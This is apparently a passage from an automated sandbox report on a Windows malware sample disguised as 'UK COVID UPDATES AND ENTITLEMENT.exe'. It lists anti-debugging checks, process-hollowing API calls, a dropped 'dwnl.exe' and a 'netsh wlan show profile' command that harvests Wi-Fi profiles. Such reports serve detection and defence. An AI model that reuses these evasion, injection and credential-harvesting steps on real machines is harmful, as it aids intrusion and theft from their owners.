std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hs
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040BC9B ??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindNextFileW,FindNextFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00403183 wcscmp,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@G@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$all
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_0040F234 SetFileAttributesA,FindFirstFileA,FindNextFileA,RemoveDirectoryA,SetFileAttributesA,DeleteFileA,GetLastError,FindClose,RemoveDirectoryA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_00405AFB Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindNextFileA,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 28_2_004057B6 Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindNextFileA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_004011A3 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Process queried: DebugPort

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Code function: 33_2_0665C1D8 LdrInitializeThunk,

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040D477 _EH_prolog,CloseHandle,GetModuleHandleA,GetProcAddress,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 400000
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 401000
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 410000
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 415000
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 416000
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Memory written: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe base: 83D008

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\dwnl.exe 'C:\Users\user\AppData\Local\Temp\dwnl.exe'
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile

Source: dwnl.exe, 00000021.00000002.500313293.0000000002E73000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.431810210.0000000001430000.00000002.00020000.sdmp, dwnl.exe, 00000021.00000002.498536321.0000000001650000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.431810210.0000000001430000.00000002.00020000.sdmp, dwnl.exe, 00000021.00000002.498536321.0000000001650000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.431810210.0000000001430000.00000002.00020000.sdmp, dwnl.exe, 00000021.00000002.498536321.0000000001650000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000002.468970466.0000000002906000.00000004.00000040.sdmp	Binary or memory string: d\|0\|cmd\|Program Managera\Local\Temp\dwnl.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000002.468970466.0000000002906000.00000004.00000040.sdmp	Binary or memory string: Program Manager1}
Source: dwnl.exe, 00000021.00000002.500150887.0000000002E2A000.00000004.00000001.sdmp	Binary or memory string: Program Manager`i
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.431810210.0000000001430000.00000002.00020000.sdmp, dwnl.exe, 00000021.00000002.498536321.0000000001650000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000002.468970466.0000000002906000.00000004.00000040.sdmp	Binary or memory string: d\|0\|cmd\|Program Manager\|cmd\|141v:November:Dec:De
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.431810210.0000000001430000.00000002.00020000.sdmp, dwnl.exe, 00000021.00000002.498536321.0000000001650000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000002.468970466.0000000002906000.00000004.00000040.sdmp	Binary or memory string: d\|0\|cmd\|Program Manager\|cmd\|r:March:Apr:April:Ma

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: GetLocaleInfoA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
